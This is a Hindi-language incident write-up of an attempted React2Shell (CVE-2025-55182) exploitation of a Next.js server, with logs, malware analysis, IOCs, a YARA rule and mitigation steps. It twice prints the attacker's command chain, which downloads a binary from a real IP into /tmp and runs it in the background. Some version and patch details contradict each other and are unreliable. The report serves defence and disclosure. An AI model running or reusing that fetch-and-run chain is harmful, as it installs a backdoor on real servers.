CVE-2025-55182 हमला विश्लेषण: React Server Components RCE
प्रोडक्शन Next.js एप्लिकेशन पर वास्तविक दुनिया के हमले का विश्लेषण
📋 विषय-सूची
कार्यकारी सारांश
5 दिसंबर, 2025 को, हमारे प्रोडक्शन Next.js एप्लिकेशन को हमलावरों द्वारा निशाना बनाया गया, जिन्होंने CVE-2025-55182 (React2Shell) का शोषण किया, जो React Server Components में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है। हमले ने हमारे सर्वर पर Linux बैकडोर ट्रोजन डाउनलोड और निष्पादित करने का प्रयास किया।
| विशेषता | मान |
|---|
| CVE ID | CVE-2025-55182 |
| CVSS स्कोर | 9.8 (गंभीर) |
| हमले की तारीख | 5 दिसंबर, 2025 |
| हमले का परिणाम | ✅ अवरुद्ध (पैच के बाद) |
| मैलवेयर प्रकार | Linux बैकडोर ट्रोजन |
| प्रभावित स्टैक | Next.js + React Server Components |
भेद्यता अवलोकन
CVE-2025-55182 क्या है?
CVE-2025-55182, जिसे "React2Shell" के नाम से भी जाना जाता है, एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है जो निम्नलिखित में React Server Components (RSC) को प्रभावित करती है:
- React: संस्करण 19.0.0 - 19.2.1
- Next.js: संस्करण 15.x और 16.x (पैच से पहले)
मूल कारण
यह भेद्यता React के Flight Server में renderToReadableStream() फ़ंक्शन में मौजूद है। विशेष रूप से तैयार किए गए RSC पेलोड को संसाधित करते समय, सर्वर कुछ इनपुट को ठीक से सैनिटाइज़ करने में विफल रहता है, जिससे मनमाना कोड निष्पादन होता है।
हमला वेक्टर
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
हमलावर एक दुर्भावनापूर्ण सीरियलाइज़्ड पेलोड के साथ एक तैयार POST अनुरोध भेजता है, जो सर्वर पर डी-सीरियलाइज़ और निष्पादित हो जाता है।
हमले की समयरेखा
चरण 1: प्रारंभिक शोषण प्रयास (पैच-पूर्व)
| टाइमस्टैम्प (UTC) | घटना |
|---|
| Dec 5, 06:20 | पहला हमला Sentry के माध्यम से पता चला |
| Dec 5, 06:20 | पेलोड शेल कमांड निष्पादित करने का प्रयास करता है |
| Dec 5, 06:20 | हमला आंशिक रूप से सफल (पैच-पूर्व) |
Sentry त्रुटि लॉग (पैच-पूर्व):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
चरण 2: पैच तैनाती
| टाइमस्टैम्प | कार्रवाई |
|---|
| Dec 4, 14:13 | Next.js 16.0.7 में अपग्रेड किया गया |
| Dec 4, 14:13 | पैच किया गया संस्करण तैनात किया गया (v1.0.0-beta-4) |
चरण 3: पैच-पश्चात हमला अवरुद्ध
| टाइमस्टैम्प (UTC) | घटना |
|---|
| Dec 5, 08:48 | हमले का प्रयास पता चला |
| Dec 5, 08:48 | पेलोड निष्पादन अवरुद्ध |
| Dec 5, 08:48 | त्रुटि: syntax error: unexpected ";" |
Sentry त्रुटि लॉग (पैच-पश्चात):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
पैच ने दुर्भावनापूर्ण कमांड को निष्पादित होने से सफलतापूर्वक रोक दिया।
तकनीकी विश्लेषण
हमले के अनुरोध का विवरण
| विशेषता | मान |
|---|
| लक्ष्य URL | https://[REDACTED]/ |
|
पेलोड विश्लेषण
हमलावर ने निम्नलिखित कमांड श्रृंखला निष्पादित करने का प्रयास किया:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
विवरण:
सर्वर वातावरण
| घटक | संस्करण |
|---|
| ओएस | Alpine Linux 3.23.0 |
| रनटाइम | Node.js v20.19.6 |
| फ्रेमवर्क | Next.js 16.0.7 (पैच किया गया) |
|
मैलवेयर विश्लेषण
फ़ाइल जानकारी
VirusTotal परिणाम
पहचान दर: 13/72 (18%)
VirusTotal लिंक: विश्लेषण देखें
बाइनरी विश्लेषण
ELF हेडर:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
पहचानी गई क्षमताएँ:
निकाले गए स्ट्रिंग्स (प्रासंगिक):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
ट्रिगर हुए IDS नियम
| गंभीरता | नियम | स्रोत |
|---|
| LOW | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| LOW | ET DNS Query for .cc TLD | Proofpoint ET Open |
मैलवेयर वर्गीकरण
प्रकार: Linux बैकडोर ट्रोजन
क्षमताएँ:
- रिमोट शेल एक्सेस
- कमांड एंड कंट्रोल (C2) संचार
- फ़ाइल अपलोड/डाउनलोड
- एन्क्रिप्टेड संचार
- SOCKS5 के माध्यम से ट्रैफ़िक टनलिंग
- स्थायित्व तंत्र
समझौता संकेतक (IOCs)
नेटवर्क IOCs
फ़ाइल IOCs
व्यवहारिक IOCs
YARA नियम
rule CVE_2025_55182_Backdoor {
meta:
description = "Detects backdoor distributed via CVE-2025-55182"
author = "Security Researcher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
शमन और प्रतिक्रिया
तुरंत की गई कार्रवाइयाँ
दुरुपयोग रिपोर्ट
5 दिसंबर, 2025 को Vultr (C2 सर्वर का होस्टिंग प्रदाता) को एक दुरुपयोग रिपोर्ट प्रस्तुत की गई, जिसमें शामिल थे:
- दुर्भावनापूर्ण IP पता और URL
- मैलवेयर का SHA256 हैश
- VirusTotal विश्लेषण लिंक
- हमले के वेक्टर का विवरण (CVE-2025-55182)
पैच किए गए संस्करण
| पैकेज | असुरक्षित | पैच किया गया |
|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (जून 2025+) |
अनुशंसित शमन उपाय
1. तुरंत अपग्रेड करें:
2. दुर्भावनापूर्ण IP ब्लॉक करें:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. IOCs के लिए निगरानी करें:
# Check for suspicious files
find /tmp -type f -executable 2>/dev/null
# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"
# Check network connections
netstat -an | grep "45.76.155.14"
4. सभी गोपनीय जानकारी घुमाएँ:
- डेटाबेस क्रेडेंशियल
- JWT सीक्रेट
- API कुंजियाँ
- सत्र सीक्रेट
सीखे गए सबक
क्या अच्छा रहा
- Sentry निगरानी ने हमले को तुरंत पकड़ लिया
- त्वरित पैच तैनाती CVE प्रकटीकरण के घंटों के भीतर
- Docker कंटेनरीकरण ने विस्फोट त्रिज्या सीमित कर दी
- पैच-पश्चात सुरक्षा ने बाद के हमलों को सफलतापूर्वक अवरुद्ध किया
क्या सुधारा जा सकता था
- तेज़ पैचिंग - CVE प्रकटीकरण और पैच के बीच का समय कम करें
- WAF नियम - RSC शोषण प्रयासों का पता लगाने के लिए नियम जोड़ें
- ईग्रेस फ़िल्टरिंग - अज्ञात IP से बाहरी कनेक्शन ब्लॉक करें
- स्वचालित अलर्ट - संदिग्ध शेल कमांड के लिए अलर्ट सेट करें
सुरक्षा अनुशंसाएँ
संदर्भ
आधिकारिक सलाहकार सूचनाएँ
विश्लेषण संसाधन
उपयोग किए गए उपकरण
अस्वीकरण
यह लेख केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित किया गया है। इस रिपॉजिटरी में मैलवेयर बाइनरी शामिल नहीं है। सुरक्षा शोधकर्ता प्रदान किए गए SHA256 हैश का उपयोग करके VirusTotal के माध्यम से नमूना प्राप्त कर सकते हैं।
लेखक
प्रकाशित: 5 दिसंबर, 2025
संपर्क: [आपकी संपर्क जानकारी या GitHub प्रोफ़ाइल]
लाइसेंस
यह विश्लेषण CC BY 4.0 के अंतर्गत जारी किया गया है। आप उचित श्रेय के साथ इस सामग्री को साझा और अनुकूलित करने के लिए स्वतंत्र हैं।
परिवर्तन लॉग
| दिनांक | संस्करण | परिवर्तन |
|---|
| 2025-12-05 | 1.0 | प्रारंभिक प्रकाशन |